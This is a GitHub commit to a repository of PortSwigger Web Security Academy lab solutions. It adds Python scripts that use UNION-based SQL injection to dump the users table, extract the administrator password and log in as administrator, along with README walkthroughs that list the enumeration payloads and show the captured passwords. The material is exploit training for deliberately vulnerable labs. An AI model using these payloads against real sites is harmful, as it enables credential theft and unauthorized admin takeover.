Skip to content

Commit 859ea23

Browse files
committed
add more modification about automate login as an administrator script, after it got admin password
1 parent 8797bae commit 859ea23

File tree

8 files changed

+410
-5
lines changed

8 files changed

+410
-5
lines changed

port_swigger_academy/sqli/sqli_lab_02/sqli_lab_02.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def success (self, message):
4242
output = Interface()
4343
output.header()
4444

45-
proxies = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"} #proxies
45+
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"} #proxies
4646

4747
def get_csrf_token(s, url):
4848
r = s.get(url, verify=False, proxies=proxies)

port_swigger_academy/sqli/sqli_lab_05/README.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45,4 +45,17 @@ $ python3 sqli_lab_05.py https://ac9b1f3b1fae8e8fxxxxxxxxxxx.web-security-academ
4545
[*] Dumping the list of usernames and passwords...
4646
[✓] Found the administrator password.
4747
[✓] The administrator password is '9ybyx7eulvih2i33gzn9'
48+
```
49+
we add a new automation script. it will be automate login as an administrator after it got an administrator password
50+
51+
```bash
52+
$ python3 sqli_lab_05a.py "https://aca91fb91fc3b216c00c29bb00e70085.web-security-academy.net"
53+
54+
>> SQL injection UNION attack, retrieving data from other tables
55+
>> by Port Swigger Academy
56+
57+
[*] Dumping the list of usernames and passwords...
58+
[✓] The administrator password is 's35lhylr12py2yuvv2il'
59+
[*] Try to login as an Administrator...
60+
[✓] We have logged as an Administrator!
4861
```
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
#!/usr/bin/python3
2+
import requests
3+
import sys
4+
import urllib3
5+
from bs4 import BeautifulSoup
6+
7+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
8+
9+
class Interface ():
10+
def __init__ (self):
11+
self.red = '\033[91m'
12+
self.green = '\033[92m'
13+
self.white = '\033[37m'
14+
self.yellow = '\033[93m'
15+
self.bold = '\033[1m'
16+
self.end = '\033[0m'
17+
18+
def header(self):
19+
print('\n >> SQL injection UNION attack, retrieving data from other tables')
20+
print(' >> by Port Swigger Academy\n')
21+
22+
def info (self, message):
23+
print(f"[{self.white}*{self.end}] {message}")
24+
25+
def warning (self, message):
26+
print(f"[{self.yellow}!{self.end}] {message}")
27+
28+
def error (self, message):
29+
print(f"[{self.red}x{self.end}] {message}")
30+
31+
def success (self, message):
32+
print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")
33+
34+
# Instantiate our interface class
35+
global output
36+
output = Interface()
37+
output.header()
38+
39+
proxies = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}
40+
41+
42+
def exploit_sqli_users_table(url):
43+
username = 'administrator'
44+
path = '/filter?category=Gifts'
45+
sqli_payload = "' UNION SELECT username, password from users--"
46+
r = requests.get(url+path+sqli_payload,verify=False,proxies=proxies)
47+
soup = BeautifulSoup(r.text, 'html.parser')
48+
admin_password = soup.body.find(text='administrator').parent.findNext('td').contents[0]
49+
return admin_password
50+
51+
def get_csrf_token(s, url):
52+
path = "/login"
53+
response = s.get(url+path, verify=False, proxies=proxies)
54+
soup = BeautifulSoup(response.text, 'html.parser')
55+
csrf = soup.find("input")['value']
56+
return csrf
57+
58+
def login_as_an_administrator(s, url, admin_password):
59+
csrf = get_csrf_token(s, url)
60+
path = "/login"
61+
data = {"csrf": csrf, "username": "administrator", "password": admin_password}
62+
response = s.post(url+path, data=data, verify=False, proxies=proxies)
63+
if "Log out" in response.text:
64+
return True
65+
else:
66+
return False
67+
68+
if __name__ == "__main__":
69+
try:
70+
url = sys.argv[1].strip()
71+
except IndexError:
72+
output.info("Usage: %s <url>" % sys.argv[0])
73+
output.info("Example: %s www.example.com" % sys.argv[0])
74+
sys.exit(-1)
75+
76+
output.info("Dumping the list of usernames and passwords...")
77+
admin_password = exploit_sqli_users_table(url)
78+
if admin_password:
79+
output.success("The administrator password is '%s'" % admin_password)
80+
output.info("Try to login as an Administrator...")
81+
s = requests.Session()
82+
if login_as_an_administrator(s, url, admin_password):
83+
output.success("We have logged as an Administrator!")
84+
else:
85+
output.error("Did not login as an Administrator")
86+
else:
87+
output.error("Did not find and administrator password")

port_swigger_academy/sqli/sqli_lab_06/README.md

Lines changed: 17 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,16 @@ analysis:
4545

4646
![3](screenshot/3.png)
4747

48+
```bash
49+
$ python3 sqli_lab_06b.py "https://acb91fb01e4afc7dc0d4991700de003a.web-security-academy.net"
50+
51+
>> SQL injection UNION attack, retrieving multiple values in a single column
52+
>> by Port Swigger Academy
53+
54+
[*] Retrive dbms version...
55+
[✓] Found the DBMS version.
56+
[✓] The dbms version is 'PostgreSQL 12.10 (Ubuntu 12.10-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bit'
57+
```
4858
```bash
4959
$ python3 sqli_lab_06.py "https://acb91fb01e4afc7dc0d4991700de003a.web-security-academy.net"
5060

@@ -56,13 +66,16 @@ $ python3 sqli_lab_06.py "https://acb91fb01e4afc7dc0d4991700de003a.web-security-
5666
[✓] The administrator password is 'sx6gnnlga7ga8cjw1kvd'
5767
```
5868

69+
we add a new automation script. it will be automate login as an administrator after it got an administrator password
70+
5971
```bash
60-
$ python3 sqli_lab_06b.py "https://acb91fb01e4afc7dc0d4991700de003a.web-security-academy.net"
72+
$ python3 sqli_lab_06a.py "https://ac521f9e1fedb276c0052dd800eb0002.web-security-academy.net"
6173

6274
>> SQL injection UNION attack, retrieving multiple values in a single column
6375
>> by Port Swigger Academy
6476

65-
[*] Retrive dbms version...
66-
[✓] Found the DBMS version.
67-
[✓] The dbms version is 'PostgreSQL 12.10 (Ubuntu 12.10-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bit'
77+
[*] Dumping the list of usernames and passwords...
78+
[✓] The administrator password is 'aeou73zrii41hkjpkwpi'
79+
[*] Try to login as an administrator
80+
[✓] We have logged as an Administrator!
6881
```

port_swigger_academy/sqli/sqli_lab_06/sqli_lab_06.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,8 @@ def exploit_sqli_users_table(url):
6060
except IndexError:
6161
output.info("Usage: %s <url>" % sys.argv[0])
6262
output.info("Example: %s www.example.com" % sys.argv[0])
63+
sys.exit(-1)
64+
6365
output.info("Dumping the list of usernames and passwords...")
6466
if not exploit_sqli_users_table(url):
6567
output.error("Did not find an administrator password.")
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
#!/usr/bin/python3
2+
3+
import requests
4+
import sys
5+
import urllib3
6+
from bs4 import BeautifulSoup
7+
import re
8+
9+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
10+
11+
class Interface ():
12+
def __init__ (self):
13+
self.red = '\033[91m'
14+
self.green = '\033[92m'
15+
self.white = '\033[37m'
16+
self.yellow = '\033[93m'
17+
self.bold = '\033[1m'
18+
self.end = '\033[0m'
19+
20+
def header(self):
21+
print('\n >> SQL injection UNION attack, retrieving multiple values in a single column')
22+
print(' >> by Port Swigger Academy\n')
23+
24+
def info (self, message):
25+
print(f"[{self.white}*{self.end}] {message}")
26+
27+
def warning (self, message):
28+
print(f"[{self.yellow}!{self.end}] {message}")
29+
30+
def error (self, message):
31+
print(f"[{self.red}x{self.end}] {message}")
32+
33+
def success (self, message):
34+
print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")
35+
36+
# Instantiate our interface class
37+
global output
38+
output = Interface()
39+
output.header()
40+
41+
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
42+
43+
def exploit_sqli_users_table(url):
44+
username = 'administrator'
45+
path = '/filter?category=Gifts'
46+
sqli_payload = "' UNION SELECT NULL, username || ':' || password FROM users--"
47+
r = requests.get(url+path+sqli_payload,verify=False,proxies=proxies)
48+
soup = BeautifulSoup(r.text, 'html.parser')
49+
admin_password = soup.find(text=re.compile('.*administrator.*')).split(":")[1]
50+
return admin_password
51+
52+
def get_csrf_token(s, url):
53+
path = "/login"
54+
response = s.get(url+path, verify=False, proxies=proxies)
55+
soup = BeautifulSoup(response.text, 'html.parser')
56+
csrf = soup.find("input")['value']
57+
return csrf
58+
59+
def login_as_an_administrator(s, url, admin_password):
60+
csrf = get_csrf_token(s, url)
61+
path = "/login"
62+
data = {"csrf": csrf, "username": "administrator", "password": admin_password}
63+
response = s.post(url+path, data=data, verify=False, proxies=proxies)
64+
if "Log out" in response.text:
65+
return True
66+
else:
67+
return False
68+
69+
if __name__ == "__main__":
70+
try:
71+
url = sys.argv[1].strip()
72+
except IndexError:
73+
output.info("Usage: %s <url>" % sys.argv[0])
74+
output.info("Example: %s www.example.com" % sys.argv[0])
75+
sys.exit(-1)
76+
77+
output.info("Dumping the list of usernames and passwords...")
78+
admin_password = exploit_sqli_users_table(url)
79+
if admin_password:
80+
output.success("The administrator password is '%s'" % admin_password)
81+
output.info("Try to login as an administrator")
82+
s = requests.Session()
83+
if login_as_an_administrator(s, url, admin_password):
84+
output.success("We have logged as an Administrator!")
85+
else:
86+
output.error("Did not login as an Administrator")
87+
else:
88+
output.error("Did not find an administrator password.")
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
## Listing the contents of the database
2+
3+
Most database types (with the notable exception of Oracle) have a set of views called the information schema which provide information about the database.
4+
5+
You can query `information_schema.tables` to list the tables in the database:
6+
7+
`SELECT * FROM information_schema.tables`
8+
9+
This returns output like the following:
10+
11+
```bash
12+
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
13+
=====================================================
14+
MyDatabase dbo Products BASE TABLE
15+
MyDatabase dbo Users BASE TABLE
16+
MyDatabase dbo Feedback BASE TABLE
17+
```
18+
19+
This output indicates that there are three tables, called `Products`, `Users`, and `Feedback`.
20+
21+
You can then query `information_schema.columns` to list the columns in individual tables:
22+
23+
`SELECT * FROM information_schema.columns WHERE table_name = 'Users'`
24+
25+
This returns output like the following:
26+
27+
```bash
28+
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
29+
=================================================================
30+
MyDatabase dbo Users UserId int
31+
MyDatabase dbo Users Username varchar
32+
MyDatabase dbo Users Password varchar
33+
```
34+
35+
This output shows the columns in the specified table and the data type of each column.
36+
37+
# Lab: SQL injection attack, listing the database contents on non-Oracle databases
38+
39+
This lab contains an [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.
40+
41+
The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.
42+
43+
To solve the lab, log in as the `administrator` user.
44+
45+
# PoC
46+
47+
1. Use Burp Suite to intercept and modify the request that sets the product category filter.
48+
2. Determine the [number of columns that are being returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the `category` parameter:
49+
50+
`' ORDER BY 2--`
51+
`' ORDER BY 2--`
52+
`' UNION SELECT 'test', 'test'--`
53+
`' UNION SELECT version(), NULL--`
54+
55+
from the version, we know the database version is using PostgreSQL
56+
3. Use the following payload to retrieve the list of tables in the database:
57+
58+
`' UNION SELECT NULL, table_name FROM information_schema.tables--`
59+
4. Find the name of the table containing user credentials.
60+
5. Use the following payload (replacing the table name) to retrieve the details of the columns in the table:
61+
62+
`' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name = 'users_xtipdx'--`
63+
6. Find the names of the columns containing usernames and passwords.
64+
7. Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users:
65+
66+
`' UNION SELECT username_qvmofd, password_ulzbnu FROM users_xtipdx--`
67+
8. Find the password for the `administrator` user, and use it to log in.
68+
69+
```bash
70+
$ python3 sqli_lab_09.py "https://ac161fc81ffce801c05f2341001d00b5.web-security-academy.net"
71+
72+
>> SQL injection attack, listing the database contents on non-Oracle databases
73+
>> by Port Swigger Academy
74+
75+
[*] Looking for a users table...
76+
[✓] Found the users table name: users_pvswrw
77+
[✓] Found the username column name: username_jzkjtn
78+
[✓] Found the password column name: password_vtubir
79+
[✓] The administrator password is: acpcwbwsy4cki6wwhuk1
80+
[*] Try to login as an Administrator...
81+
[✓] We have logged as an Administrator!
82+
```

0 commit comments

Comments
 (0)